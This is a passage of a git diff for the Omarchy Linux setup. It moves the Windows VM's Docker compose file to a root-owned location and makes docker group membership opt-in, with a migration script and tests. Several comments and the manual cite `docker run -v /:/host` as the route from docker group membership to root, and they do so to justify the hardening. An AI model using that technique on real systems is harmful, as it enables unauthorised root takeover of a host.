&& dc up -d; } + +__priv_down() { dc down; } + +# Bring the VM up and wait until the guest reports it is ready, all under a +# single elevation so the readiness poll does not prompt on every iteration. +__priv_up_wait() { + assert_mounts_safe || return 1 + local status + status=$(docker inspect --format='{{.State.Status}}' "$CONTAINER" 2>/dev/null) + if [[ $status != "running" ]]; then + dc up -d || return 1 + fi + + # docker logs persists across restarts, so anchor the scan to the current + # start time; an empty --since would match a stale "started successfully". + local started_at count=0 + while true; do + started_at=$(docker inspect --format='{{.State.StartedAt}}' "$CONTAINER" 2>/dev/null) + if [[ -n $started_at ]] && docker logs --since "$started_at" "$CONTAINER" 2>&1 | grep -qi "windows started successfully"; then + return 0 + fi + sleep 2 + ((++count > 60)) && { + echo "Timeout: Windows VM did not report ready within 2 minutes" >&2 + return 1 + } + done +} + +# Print the status (empty if the container does not exist) and always succeed, +# so a non-zero exit from priv status means the elevation itself failed +# (authorization declined) rather than "no such container". +__priv_status() { docker inspect --format='{{.State.Status}}' "$CONTAINER" 2>/dev/null || true; } + +__priv_remove() { + dc down 2>/dev/null || true + docker rmi "$IMAGE" 2>/dev/null || true + rm -f "$COMPOSE_FILE" + rmdir "$RUNTIME_DIR" 2>/dev/null || true +} + +# --- config helpers ---------------------------------------------------------- + +# Feed the collected settings to the elevated writer. +write_compose() { + local ram="$1" cores="$2" disk="$3" username="$4" password="$5" tz="$6" storage="$7" shared="$8" + printf 'RAM=%s\nCORES=%s\nDISK=%s\nUSERNAME=%s\nPASSWORD=%s\nTZ=%s\nSTORAGE=%s\nSHARED=%s\n' \ + "$ram" "$cores" "$disk" "$username" "$password" "$tz" "$storage" "$shared" | + priv write_compose +} + +# Reverse, in the opposite order, the escaping __priv_write_compose applied to +# the password: undo the interpolation layer ($$ -> $) first, then the YAML +# layer (\" -> ", then \\ -> \). +unescape() { + local v=$1 + v=${v//\$\$/\$} + v=${v//\\\"/\"} + v=${v//\\\\/\\} + printf '%s' "$v" +} + +# Store the RDP credentials privately for the user (0600) so the plaintext +# password is not world-readable. The password is one validated printable line +# (no newline), so plain KEY=VALUE is safe. +write_credentials() { + local username="$1" password="$2" old_umask + mkdir -p "$(dirname "$CREDENTIALS_FILE")" + old_umask=$(umask) + umask 077 + printf 'USERNAME=%s\nPASSWORD=%s\n' "$username" "$password" >"$CREDENTIALS_FILE" + chmod 600 "$CREDENTIALS_FILE" 2>/dev/null || true + umask "$old_umask" +} + +# Read one field from the private credentials file; IFS on the first = keeps a +# password that itself contains =. +read_credential() { + local want="$1" key value + [[ -f $CREDENTIALS_FILE ]] || return 1 + while IFS='=' read -r key value; do + [[ $key == "$want" ]] && { + printf '%s' "$value" + return 0 + } + done <"$CREDENTIALS_FILE" + return 1 +} + +read_compose_value() { + local key="$1" file="$2" + sed -n "s/.*${key}: \"\(.*\)\"/\1/p" "$file" | head -n1 +} + +# Older installs kept the compose under ~/.config/windows. Carry those settings +# into the root-owned location (preserving the VM's data via the same volume +# paths) so an upgrade does not strand or re-download an existing VM. +migrate_legacy_compose() { + [[ -f $COMPOSE_FILE ]] && return 0 + [[ -f $LEGACY_COMPOSE_FILE ]] || return 1 + + echo "Migrating Windows VM configuration to $COMPOSE_FILE ..." + local ram cores disk username password tz storage shared + ram=$(read_compose_value RAM_SIZE "$LEGACY_COMPOSE_FILE") + cores=$(read_compose_value CPU_CORES "$LEGACY_COMPOSE_FILE") + disk=$(read_compose_value DISK_SIZE "$LEGACY_COMPOSE_FILE") + username=$(read_compose_value USERNAME "$LEGACY_COMPOSE_FILE") + password=$(read_compose_value PASSWORD "$LEGACY_COMPOSE_FILE") + tz=$(read_compose_value TZ "$LEGACY_COMPOSE_FILE") + # The VM's data always lived in the user's own ~/.windows and ~/Windows; the + # old compose only ever recorded those. Reconstruct them from $HOME (trusted — + # this runs as the user) rather than reading host paths back from a file a + # rogue process could have rewritten to bind-mount, say, / into the guest. + storage="$HOME/.windows" + shared="$HOME/Windows" + + [[ -z $tz ]] && tz="UTC" + if ! write_compose "$ram" "$cores" "$disk" "$username" "$password" "$tz" "$storage" "$shared"; then + echo "Could not migrate the existing configuration automatically." >&2 + echo "Re-run: omarchy-windows-vm install" >&2 + return 1 + fi + write_credentials "$username" "$password" + rm -f "$LEGACY_COMPOSE_FILE" +} + +# --- prerequisites ----------------------------------------------------------- check_prerequisites() { local DISK_SIZE_GB=${1:-64} - local REQUIRED_SPACE=$((DISK_SIZE_GB + 10)) # Add 10GB for Windows ISO and overhead + local REQUIRED_SPACE=$((DISK_SIZE_GB + 10)) # Add 10GB for Windows ISO and overhead # Check for KVM support if [[ ! -e /dev/kvm ]]; then @@ -26,7 +383,7 @@ check_prerequisites() { # Check disk space AVAILABLE_SPACE=$(df "$HOME" | awk 'NR==2 {print int($4/1024/1024)}') - if (( AVAILABLE_SPACE < REQUIRED_SPACE )); then + if ((AVAILABLE_SPACE < REQUIRED_SPACE)); then echo "❌ Insufficient disk space!" echo " Available: ${AVAILABLE_SPACE}GB" echo " Required: ${REQUIRED_SPACE}GB (${DISK_SIZE_GB}GB disk + 10GB for Windows image)" @@ -34,6 +391,8 @@ check_prerequisites() { fi } +# --- commands ---------------------------------------------------------------- + install_windows() { # Set up trap to handle Ctrl+C trap "echo ''; echo 'Installation cancelled by user'; exit 1" INT @@ -43,10 +402,9 @@ install_windows() { omarchy-pkg-add freerdp openbsd-netcat gum mkdir -p "$HOME/.windows" - mkdir -p "$HOME/.config/windows" mkdir -p "$HOME/.local/share/applications" - cat << EOF | tee "$HOME/.local/share/applications/windows-vm.desktop" > /dev/null + cat </dev/null [Desktop Entry] Name=Windows Comment=Start Windows VM via Docker and connect with RDP @@ -70,7 +428,7 @@ EOF RAM_OPTIONS="" for size in 2 4 8 16 32 64; do - if (( size <= TOTAL_RAM_GB )); then + if ((size <= TOTAL_RAM_GB)); then RAM_OPTIONS="$RAM_OPTIONS ${size}G" fi done @@ -91,16 +449,16 @@ EOF exit 1 fi - if ! [[ $SELECTED_CORES =~ ^[0-9]+$ ]] || (( SELECTED_CORES < 1 )) || (( SELECTED_CORES > TOTAL_CORES )); then + if ! valid_cores "$SELECTED_CORES" || ((SELECTED_CORES > TOTAL_CORES)); then echo "Invalid input. Using default: 2 cores" SELECTED_CORES=2 fi AVAILABLE_SPACE=$(df "$HOME" | awk 'NR==2 {print int($4/1024/1024)}') - MAX_DISK_GB=$((AVAILABLE_SPACE - 10)) # Leave 10GB for Windows image + MAX_DISK_GB=$((AVAILABLE_SPACE - 10)) # Leave 10GB for Windows image # Check if we have enough space for minimum - if (( MAX_DISK_GB < 32 )); then + if ((MAX_DISK_GB < 32)); then echo "❌ Insufficient disk space for Windows VM!" echo " Available: ${AVAILABLE_SPACE}GB" echo " Minimum required: 42GB (32GB disk + 10GB for Windows image)" @@ -109,7 +467,7 @@ EOF DISK_OPTIONS="" for size in 32 64 128 256 512; do - if (( size <= MAX_DISK_GB )); then + if ((size <= MAX_DISK_GB)); then DISK_OPTIONS="$DISK_OPTIONS ${size}G" fi done @@ -139,6 +497,10 @@ EOF if [[ -z $USERNAME ]]; then USERNAME="docker" fi + if ! valid_username "$USERNAME"; then + echo "Invalid username (use letters, digits, - or _, up to 20 chars). Using default: docker" + USERNAME="docker" + fi PASSWORD=$(gum input --placeholder="Password (Press enter to use default: admin)" --password --header="Enter Windows password:") if [[ -z $PASSWORD ]]; then @@ -147,6 +509,11 @@ EOF else PASSWORD_DISPLAY="(user-defined)" fi + if ! valid_password "$PASSWORD"; then + echo "Invalid password (printable characters, up to 64). Using default: admin" + PASSWORD="admin" + PASSWORD_DISPLAY="(default)" + fi # Display configuration summary gum style \ @@ -170,38 +537,19 @@ EOF exit 1 fi - mkdir -p $HOME/Windows + mkdir -p "$HOME/Windows" - # Create docker-compose.yml in user config directory - cat << EOF | tee "$COMPOSE_FILE" > /dev/null -services: - windows: - image: dockurr/windows - container_name: omarchy-windows - environment: - VERSION: "11" - RAM_SIZE: "$SELECTED_RAM" - CPU_CORES: "$SELECTED_CORES" - DISK_SIZE: "$SELECTED_DISK" - USERNAME: "$USERNAME" - PASSWORD: "$PASSWORD" - TZ: "$(timedatectl show -p Timezone --value 2>/dev/null || echo UTC)" - ARGUMENTS: "-rtc base=localtime,clock=host,driftfix=slew" - devices: - - /dev/kvm - - /dev/net/tun - cap_add: - - NET_ADMIN - ports: - - 127.0.0.1:8006:8006 - - 127.0.0.1:3389:3389/tcp - - 127.0.0.1:3389:3389/udp - volumes: - - $HOME/.windows:/storage - - $HOME/Windows:/shared - restart: "no" - stop_grace_period: 2m -EOF + local tz + tz=$(timedatectl show -p Timezone --value 2>/dev/null || echo UTC) + + # Write the root-owned compose from the validated settings (one prompt if + # sudoless Docker is off), then bring the stack up. + write_compose "$SELECTED_RAM" "$SELECTED_CORES" "$SELECTED_DISK" \ + "$USERNAME" "$PASSWORD" "$tz" "$HOME/.windows" "$HOME/Windows" || { + echo "❌ Failed to write the Windows VM configuration." + exit 1 + } + write_credentials "$USERNAME" "$PASSWORD" echo "" echo "Starting Windows VM installation..." @@ -210,14 +558,12 @@ EOF echo "Monitor installation progress at: http://127.0.0.1:8006" echo "" - # Start docker-compose with user's config echo "Starting Windows VM with docker-compose..." - if ! docker-compose -f "$COMPOSE_FILE" up -d 2>&1; then + if ! priv up; then echo "❌ Failed to start Windows VM!" echo " Common issues:" echo " - Docker daemon not running: sudo systemctl start docker" echo " - Port already in use: check if another VM is running" - echo " - Permission issues: make sure you're in the docker group" exit 1 fi @@ -237,7 +583,6 @@ EOF echo "Once finished, launch 'Windows' via Super + Space" echo "" echo "To stop the VM: omarchy-windows-vm stop" - echo "To change resources: ~/.config/windows/docker-compose.yml" echo "" } @@ -249,11 +594,12 @@ remove_windows() { echo "Removing Windows VM..." - docker-compose -f "$COMPOSE_FILE" down 2>/dev/null || true + migrate_legacy_compose 2>/dev/null || true + if [[ -f $COMPOSE_FILE ]]; then + priv remove || true + fi - docker rmi dockurr/windows 2>/dev/null || echo "Image already removed or not found" - - rm "$HOME/.local/share/applications/windows-vm.desktop" + rm -f "$HOME/.local/share/applications/windows-vm.desktop" rm -rf "$HOME/.config/windows" rm -rf "$HOME/.windows" @@ -267,61 +613,32 @@ launch_windows() { KEEP_ALIVE=true fi - # Check if config exists - if [[ ! -f $COMPOSE_FILE ]]; then - echo "Windows VM not configured. Please run: omarchy-windows-vm install" - exit 1 + if ! migrate_legacy_compose; then + if [[ ! -f $COMPOSE_FILE ]]; then + echo "Windows VM not configured. Please run: omarchy-windows-vm install" + exit 1 + fi fi - # Extract credentials from compose file - WIN_USER=$(grep "USERNAME:" "$COMPOSE_FILE" | sed 's/.*USERNAME: "\(.*\)"/\1/') - WIN_PASS=$(grep "PASSWORD:" "$COMPOSE_FILE" | sed 's/.*PASSWORD: "\(.*\)"/\1/') - - # Use defaults if not found + # RDP credentials come from the private per-user file. Fall back to the compose + # only when it is readable (sudoless mode), reversing the writer's escaping. + WIN_USER=$(read_credential USERNAME) || WIN_USER="" + WIN_PASS=$(read_credential PASSWORD) || WIN_PASS="" + if [[ -z $WIN_USER || -z $WIN_PASS ]] && [[ -r $COMPOSE_FILE ]]; then + [[ -z $WIN_USER ]] && WIN_USER=$(unescape "$(read_compose_value USERNAME "$COMPOSE_FILE")") + [[ -z $WIN_PASS ]] && WIN_PASS=$(unescape "$(read_compose_value PASSWORD "$COMPOSE_FILE")") + fi [[ -z $WIN_USER ]] && WIN_USER="docker" [[ -z $WIN_PASS ]] && WIN_PASS="admin" - # Check if container is already running - CONTAINER_STATUS=$(docker inspect --format='{{.State.Status}}' omarchy-windows 2>/dev/null) - - if [[ $CONTAINER_STATUS != "running" ]]; then - echo "Starting Windows VM..." - - if ! docker-compose -f "$COMPOSE_FILE" up -d 2>&1; then - echo "❌ Failed to start Windows VM!" - echo " Try checking: omarchy-windows-vm status" - echo " View logs: docker logs omarchy-windows" - omarchy-notification-send -u critical "Windows VM" "Failed to start Windows VM" - exit 1 - fi + echo "Starting Windows VM (this may prompt for authorization)..." + if ! priv up_wait; then + echo "❌ Failed to start Windows VM!" + echo " Try checking: omarchy-windows-vm status" + omarchy-notification-send -u critical "Windows VM" "Failed to start Windows VM" + exit 1 fi - # docker logs keeps output across stop/start and is only cleared when the - # container is removed, so an unanchored grep matches "started successfully" - # from an earlier boot and returns immediately. Anchor the scan to the current - # container start, and run it even when the container was already up: the - # image restarts the guest in place whenever Windows reboots. - windows_started() { - local started_at - started_at=$(docker inspect --format='{{.State.StartedAt}}' omarchy-windows 2>/dev/null) - # An empty --since would drop the filter and match a stale boot again - [[ -n $started_at ]] || return 1 - docker logs --since "$started_at" omarchy-windows 2>&1 | grep -qi "windows started successfully" - } - - echo "Waiting for Windows VM to start..." - WAIT_COUNT=0 - until windows_started; do - sleep 2 - WAIT_COUNT=$((WAIT_COUNT + 1)) - if (( WAIT_COUNT > 60 )); then # 2 minutes timeout - echo "" - echo "❌ Timeout: Windows VM failed to start within 2 minutes" - echo " Check logs: docker logs omarchy-windows" - exit 1 - fi - done - # Build the connection info if [[ $KEEP_ALIVE = "true" ]]; then LIFECYCLE="VM will keep running after RDP closes @@ -345,7 +662,8 @@ To stop: omarchy-windows-vm stop" # network each attempt blocks ~23s and no RDP window is ever drawn. The VM # authenticates against a local Windows account, so point FreeRDP at a # realm-less config and let it fall straight through to NTLM. - KRB5_CONF="$(dirname "$COMPOSE_FILE")/krb5.conf" + KRB5_CONF="$HOME/.config/windows/krb5.conf" + mkdir -p "$(dirname "$KRB5_CONF")" if [[ ! -f $KRB5_CONF ]]; then printf '[libdefaults]\n dns_lookup_kdc = false\n dns_lookup_realm = false\n' >"$KRB5_CONF" fi @@ -356,9 +674,9 @@ To stop: omarchy-windows-vm stop" SCALE_PERCENT=$(echo "$HYPR_SCALE" | awk '{print int($1 * 100)}') RDP_SCALE="" - if (( SCALE_PERCENT >= 170 )); then + if ((SCALE_PERCENT >= 170)); then RDP_SCALE="/scale:180" - elif (( SCALE_PERCENT >= 130 )); then + elif ((SCALE_PERCENT >= 130)); then RDP_SCALE="/scale:140" fi # If scale is less than 130%, don't set any scale (use default 100) @@ -370,8 +688,12 @@ To stop: omarchy-windows-vm stop" if [[ $KEEP_ALIVE = "false" ]]; then echo "" echo "RDP session closed. Stopping Windows VM..." - docker-compose -f "$COMPOSE_FILE" down - echo "Windows VM stopped." + if priv down; then + echo "Windows VM stopped." + else + echo "⚠️ Could not stop the Windows VM (authorization declined?)." + echo " It may still be running. Stop it with: omarchy-windows-vm stop" + fi else echo "" echo "RDP session closed. Windows VM is still running." @@ -380,24 +702,34 @@ To stop: omarchy-windows-vm stop" } stop_windows() { + migrate_legacy_compose 2>/dev/null || true if [[ ! -f $COMPOSE_FILE ]]; then echo "Windows VM not configured." exit 1 fi echo "Stopping Windows VM..." - docker-compose -f "$COMPOSE_FILE" down - echo "Windows VM stopped." + if priv down; then + echo "Windows VM stopped." + else + echo "⚠️ Could not stop the Windows VM (authorization declined?). It may still be running." + exit 1 + fi } status_windows() { + migrate_legacy_compose 2>/dev/null || true if [[ ! -f $COMPOSE_FILE ]]; then echo "Windows VM not configured." echo "To set up: omarchy-windows-vm install" exit 1 fi - CONTAINER_STATUS=$(docker inspect --format='{{.State.Status}}' omarchy-windows 2>/dev/null) + if ! CONTAINER_STATUS=$(priv status); then + echo "Could not query the Windows VM (authorization declined?)." + echo "To try again: omarchy-windows-vm status" + exit 1 + fi if [[ -z $CONTAINER_STATUS ]]; then echo "Windows VM container not found." @@ -443,28 +775,41 @@ show_usage() { # Main command dispatcher case "$1" in - install) - install_windows - ;; - remove) - remove_windows - ;; - launch|start) - launch_windows "$2" - ;; - stop|down) - stop_windows - ;; - status) - status_windows - ;; - help|--help|-h|"") - show_usage - ;; - *) - echo "Unknown command: $1" >&2 - echo "" >&2 - show_usage >&2 +__priv) + ((EUID == 0)) || { + echo "omarchy-windows-vm __priv must run as root" >&2 exit 1 - ;; + } + action="$2" + shift 2 + valid_priv_action "$action" || { + echo "omarchy-windows-vm: unknown privileged action" >&2 + exit 1 + } + "__priv_${action}" "$@" + ;; +install) + install_windows + ;; +remove) + remove_windows + ;; +launch | start) + launch_windows "$2" + ;; +stop | down) + stop_windows + ;; +status) + status_windows + ;; +help | --help | -h | "") + show_usage + ;; +*) + echo "Unknown command: $1" >&2 + echo "" >&2 + show_usage >&2 + exit 1 + ;; esac diff --git a/default/hypr/bindings/applications.lua b/default/hypr/bindings/applications.lua index 151a3fea..0c990e64 100644 --- a/default/hypr/bindings/applications.lua +++ b/default/hypr/bindings/applications.lua @@ -13,7 +13,7 @@ if o.preinstalled_bindings_enabled() then o.bind("SUPER + CTRL + RETURN", "Herdr", { omarchy = "terminal-herdr" }) o.bind("SUPER + SHIFT + M", "Music", { omarchy = "spotify" }) o.bind("SUPER + SHIFT + ALT + M", "Music TUI", { tui = "cliamp", focus = true }) - o.bind("SUPER + SHIFT + D", "Docker", { tui = "lazydocker" }) + o.bind("SUPER + SHIFT + D", "Docker", { tui = "omarchy-launch-docker-tui" }) o.bind("SUPER + SHIFT + G", "Signal", { omarchy = "signal" }) o.bind("SUPER + SHIFT + O", "Obsidian", { launch = "obsidian", focus = "^obsidian$" }) o.bind("SUPER + SHIFT + W", "Omawrite", { launch = "omawrite" }) diff --git a/default/omarchy/omarchy-menu.jsonc b/default/omarchy/omarchy-menu.jsonc index 3a24759b..b1cfcf7b 100644 --- a/default/omarchy/omarchy-menu.jsonc +++ b/default/omarchy/omarchy-menu.jsonc @@ -179,6 +179,7 @@ "setup.security.fido2": {"icon":"","label":"Fido2","action":"omarchy-launch-floating-terminal-with-presentation omarchy-setup-security-fido2"}, "setup.security.sshd": {"icon":"󰣀","label":"SSHD","action":"omarchy-launch-floating-terminal-with-presentation omarchy-setup-security-sshd"}, "setup.security.passwordless-sudo": {"icon":"󰟵","label":"Passwordless Sudo","action":"omarchy-launch-floating-terminal-with-presentation omarchy-sudo-passwordless"}, + "setup.security.sudoless-docker": {"icon":"󰡨","label":"Sudoless Docker","action":"omarchy-launch-floating-terminal-with-presentation omarchy-setup-security-sudoless-docker"}, "setup.config.hyprland": {"icon":"","label":"Hyprland","action":"omarchy-launch-config-editor \"$HOME/.config/hypr/hyprland.lua\""}, "setup.config.hyprsunset": {"icon":"","label":"Hyprsunset","action":"omarchy-launch-config-editor ~/.config/hypr/hyprsunset.conf && omarchy-restart-hyprsunset"}, "setup.config.xcompose": {"icon":"󰞅","label":"XCompose","action":"omarchy-launch-config-editor ~/.XCompose && omarchy-restart-xcompose"}, @@ -290,6 +291,7 @@ "remove.security.fingerprint": {"icon":"󰈷","label":"Fingerprint","when":"omarchy-pkg-present fprintd","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-security-fingerprint"}, "remove.security.fido2": {"icon":"","label":"Fido2","when":"omarchy-pkg-present pam-u2f","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-security-fido2"}, "remove.security.sshd": {"icon":"󰣀","label":"SSHD","when":"systemctl is-enabled --quiet sshd","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-security-sshd"}, + "remove.security.sudoless-docker": {"icon":"󰡨","label":"Sudoless Docker","when":"id -nG | grep -qw docker","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-security-sudoless-docker"}, "remove.browser.chrome": {"icon":"","label":"Chrome","when":"omarchy-pkg-present google-chrome","action":"omarchy-launch-floating-terminal-with-presentation 'omarchy-remove-browser chrome'"}, "remove.browser.edge": {"icon":"󰇩","label":"Edge","when":"omarchy-pkg-present microsoft-edge-stable-bin","action":"omarchy-launch-floating-terminal-with-presentation 'omarchy-remove-browser edge'"}, "remove.browser.brave": {"icon":"","label":"Brave","when":"omarchy-pkg-present brave-bin","action":"omarchy-launch-floating-terminal-with-presentation 'omarchy-remove-browser brave'"}, diff --git a/install/config/docker.sh b/install/config/docker.sh index 1dc17e81..39743905 100644 --- a/install/config/docker.sh +++ b/install/config/docker.sh @@ -1,10 +1,16 @@ -# Record the docker group for provisioning first-boot user creation and factory reset, -# then grant it directly when the install user already exists (deferred-provisioning -# installs create the user at first boot instead). -provisioning_dir="${OMARCHY_PROVISIONING_DIR:-/var/lib/omarchy/provisioning}" -mkdir -p "$provisioning_dir" -grep -qxF docker "$provisioning_dir/groups" 2>/dev/null || echo docker >>"$provisioning_dir/groups" - -if [[ -n ${OMARCHY_INSTALL_USER:-} ]] && getent passwd "$OMARCHY_INSTALL_USER" >/dev/null; then - usermod -aG docker "$OMARCHY_INSTALL_USER" -fi +# The Docker daemon runs as root and its socket is root-owned, so membership in +# the docker group is equivalent to passwordless root: any process in it can +# `docker run -v /:/host` and rewrite the host as root. We therefore do NOT add +# the install user to the docker group by default, so a single rogue process +# running as the user cannot silently escalate to root. +# +# The daemon is still enabled (docker.socket, in enable-services.sh) for system +# use. The Docker TUI (Super + Shift + D) and the Windows VM reach it through a +# polkit prompt, and the plain `docker` CLI runs under sudo. Users who want the +# convenience back can opt in, behind a warning, with: +# +# omarchy-setup-security-sudoless-docker (Setup > Security > Sudoless Docker) +# +# Nothing to do here now that the group is no longer granted, but the file stays +# as the recorded home of this decision and a hook for future daemon config. +: diff --git a/manual/18-development-tools.md b/manual/18-development-tools.md index a8bb3282..59ae9198 100644 --- a/manual/18-development-tools.md +++ b/manual/18-development-tools.md @@ -18,9 +18,11 @@ To install, say, Ruby, you'd run `mise use -g ruby`, which will both install Rub ## Docker -[Docker](https://www.docker.com/) hardly needs any introduction. It allows you to run isolated containers, and Omarchy installs everything needed to run it well. This includes Docker itself, [Docker Compose](https://docs.docker.com/compose/), and the user group changes needed for you to run Docker as the normal user and not as root. +[Docker](https://www.docker.com/) hardly needs any introduction. It allows you to run isolated containers, and Omarchy installs everything needed to run it well, including Docker itself and [Docker Compose](https://docs.docker.com/compose/). -Remember to checkout the Lazydocker command to manage your containers in a cool TUI using `Super + Shift + D`. +By default your user is *not* in the `docker` group. That group is effectively passwordless root — anything in it can `docker run -v /:/host` and take over the machine — so a single rogue script or dependency running as you would otherwise be one command away from root. So on the command line you run Docker with `sudo` (`sudo docker ps`, `sudo docker compose up`), and the graphical tools that talk to the daemon — the Docker TUI on `Super + Shift + D` and the Windows VM — ask for authorization when they need it. If you want the convenience of a groupless setup back and understand the tradeoff, enable it from **Setup > Security > Sudoless Docker** (or run `omarchy-setup-security-sudoless-docker`), which adds you to the `docker` group after a warning; then plain `docker` and the `d` alias work without `sudo` again. + +Remember to checkout the Lazydocker command to manage your containers in a cool TUI using `Super + Shift + D`; it asks for authorization the first time unless you have enabled sudoless Docker. You can setup the common databases for local development in Docker using _Install > Development > Docker DB_ in the Omarchy menu. diff --git a/manual/28-windows-vm.md b/manual/28-windows-vm.md index 128f0e16..9da7786f 100644 --- a/manual/28-windows-vm.md +++ b/manual/28-windows-vm.md @@ -38,6 +38,6 @@ The version installed is Windows 11 Pro, unactivated. You'll need your own licen If this computer shipped with Windows, the OEM key is still in firmware even after installing Omarchy. Print it with `omarchy windows key`. That key is bound to this machine — it will activate Windows reinstalled on this hardware, but it usually will not activate the VM. -You can change the resource allocation later by editing `~/.config/windows/docker-compose.yml`, which is also where you'd mount a USB device. See all the options on [the Dockur Windows project](https://github.com/dockur/windows). +You can change the resource allocation later by re-running `omarchy-windows-vm install`, which rewrites the VM's configuration from your answers. The compose file itself now lives at `/var/lib/omarchy/windows/docker-compose.yml` and is owned by root — that is deliberate, so a process running as you cannot rewrite it and have the privileged bring-up mount your whole disk into the container. If you need to hand-edit it (for example to mount a USB device), edit it with `sudo` and see all the options on [the Dockur Windows project](https://github.com/dockur/windows). To get rid of the whole thing, use _Remove > Windows_ from the Omarchy menu. That deletes the VM's disk and all its data, so make sure anything you care about is out of `~/Windows` first. diff --git a/migrations/1787580187.sh b/migrations/1787580187.sh new file mode 100644 index 00000000..54ac1e9c --- /dev/null +++ b/migrations/1787580187.sh @@ -0,0 +1,20 @@ +echo "Move this install to the opt-in docker group default (the group is root-equivalent)" + +# The docker group grants passwordless root (a container can bind-mount / and +# rewrite the host), so Omarchy no longer puts users in it by default. Bring +# existing installs in line: remove this user from the group if present. It takes +# effect at next login, and the current session keeps working until then. Anyone +# who wants passwordless docker back can opt in, behind a warning, with +# Setup > Security > Sudoless Docker. Reuses the removal command so there is one +# source of truth for the privileged change and its notice. +if id -nG "$USER" | grep -qw docker; then + omarchy-remove-security-sudoless-docker +fi + +# The Docker app entry copied into ~/.local/share/applications used to run +# lazydocker directly; it now needs the wrapper that prompts for daemon access +# (or runs directly under sudoless Docker). Refresh just that file. +dest="$HOME/.local/share/applications/Docker.desktop" +if [[ -f $dest ]]; then + cp "$OMARCHY_PATH/applications/Docker.desktop" "$dest" +fi diff --git a/test/acceptance.d/system-test.sh b/test/acceptance.d/system-test.sh index e8e4944e..53b2c1d7 100644 --- a/test/acceptance.d/system-test.sh +++ b/test/acceptance.d/system-test.sh @@ -65,8 +65,20 @@ verify_services() { } verify_runtime_tools() { - timeout 20 docker info >/dev/null 2>&1 || fail "Docker is usable by the desktop user" - pass "Docker is usable by the desktop user" + # Docker access is intentionally NOT granted to the desktop user: the docker + # group is root-equivalent, so a rogue process running as the user could + # otherwise `docker run -v /:/host` its way to passwordless root. The daemon is + # still enabled (docker.socket, checked in verify_services) and reached through + # a polkit/sudo prompt; opting into sudoless Docker is a separate, warned step. + command -v docker >/dev/null 2>&1 || fail "Docker CLI is installed" + ! id -nG | grep -qw docker || fail "desktop user must not be in the docker group" + # The group name being absent is not sufficient — a world-writable socket or an + # ACL would still hand the user the root daemon. Prove it is actually + # unreachable without elevation. + if timeout 10 docker info >/dev/null 2>&1; then + fail "desktop user must not reach the Docker daemon without elevation" + fi + pass "Docker is installed but unreachable by the desktop user without elevation" nvim --headless '+qa' >/dev/null 2>&1 || fail "Neovim starts headlessly" pass "Neovim starts headlessly" diff --git a/test/shell.d/docker-group-migration-test.sh b/test/shell.d/docker-group-migration-test.sh new file mode 100644 index 00000000..3d2f5a99 --- /dev/null +++ b/test/shell.d/docker-group-migration-test.sh @@ -0,0 +1,65 @@ +#!/bin/bash +# +# The docker-group opt-in migration must remove an existing install's user from +# the root-equivalent docker group (only when they are in it), refresh the stale +# Docker launcher entry, and stay idempotent on reruns. + +set -euo pipefail + +source "$(dirname "${BASH_SOURCE[0]}")/base-test.sh" + +migration="$ROOT/migrations/1787580187.sh" +test_dir=$(mktemp -d) +trap 'rm -rf "$test_dir"' EXIT + +home="$test_dir/home" +omarchy_path="$test_dir/omarchy" +stub_bin="$test_dir/bin" +mkdir -p "$home/.local/share/applications" "$omarchy_path/applications" "$stub_bin" + +# The packaged (new) launcher entry the migration should copy over the stale one. +printf 'NEW-LAUNCHER\n' >"$omarchy_path/applications/Docker.desktop" +printf 'OLD-LAUNCHER\n' >"$home/.local/share/applications/Docker.desktop" + +# Stub id to report a controllable group set, and the removal command to record +# that it was called instead of touching the real system. +cat >"$stub_bin/id" <<'STUB' +#!/bin/bash +# Only the migration's `id -nG "$USER"` needs answering here. +printf '%s\n' "${STUB_GROUPS:-wheel input}" +STUB +cat >"$stub_bin/omarchy-remove-security-sudoless-docker" <<'STUB' +#!/bin/bash +touch "${REMOVE_CALLED:?}" +STUB +chmod +x "$stub_bin/id" "$stub_bin/omarchy-remove-security-sudoless-docker" + +remove_called="$test_dir/remove-called" +run_migration() { + rm -f "$remove_called" + HOME="$home" OMARCHY_PATH="$omarchy_path" USER="tester" \ + STUB_GROUPS="$1" REMOVE_CALLED="$remove_called" \ + PATH="$stub_bin:$PATH" bash -euo pipefail "$migration" >/dev/null 2>&1 +} + +# In the docker group: the user is removed and the launcher is refreshed. +run_migration "wheel input docker" || fail "migration runs when the user is in the docker group" +[[ -e $remove_called ]] || fail "migration removes a user who is in the docker group" +[[ $(cat "$home/.local/share/applications/Docker.desktop") == "NEW-LAUNCHER" ]] || + fail "migration refreshes the stale Docker launcher entry" +pass "migration removes the docker group and refreshes the launcher" + +# Not in the docker group (fresh install, or already migrated): no removal. +printf 'OLD-LAUNCHER\n' >"$home/.local/share/applications/Docker.desktop" +run_migration "wheel input" || fail "migration runs when the user is not in the docker group" +[[ ! -e $remove_called ]] || fail "migration must not call the removal when the user is not in the docker group" +[[ $(cat "$home/.local/share/applications/Docker.desktop") == "NEW-LAUNCHER" ]] || + fail "migration still refreshes the launcher when the group is already absent" +pass "migration is a no-op on the group when it is already absent" + +# No launcher entry present: the refresh is skipped without error. +rm -f "$home/.local/share/applications/Docker.desktop" +run_migration "wheel input" || fail "migration tolerates a missing launcher entry" +[[ ! -e $home/.local/share/applications/Docker.desktop ]] || + fail "migration does not create a launcher entry that was not there" +pass "migration skips the launcher refresh when no entry exists" diff --git a/test/shell.d/provisioning-groups-test.sh b/test/shell.d/provisioning-groups-test.sh index 23a8ef3a..d0eac226 100644 --- a/test/shell.d/provisioning-groups-test.sh +++ b/test/shell.d/provisioning-groups-test.sh @@ -3,6 +3,9 @@ # The install scripts that grant group memberships must record them in the provisioning # groups file (for first-boot user creation and factory reset) and only call # usermod when the install user actually exists. +# +# Docker is deliberately excluded: the docker group is root-equivalent, so it is +# no longer granted at install time (opt in with omarchy-setup-security-sudoless-docker). set -euo pipefail @@ -15,41 +18,44 @@ export OMARCHY_PROVISIONING_DIR="$TMPDIR/provisioning" # Stub getent/usermod: the fake system knows only the user "existing". mkdir -p "$TMPDIR/bin" -cat >"$TMPDIR/bin/getent" <<'EOF' +cat >"$TMPDIR/bin/getent" <<'STUB' #!/bin/bash [[ $1 == passwd && $2 == existing ]] && { echo "existing:x:1000:1000::/home/existing:/bin/bash"; exit 0; } exit 2 -EOF -cat >"$TMPDIR/bin/usermod" <"$TMPDIR/bin/usermod" <>"$TMPDIR/usermod.calls" -EOF +STUB 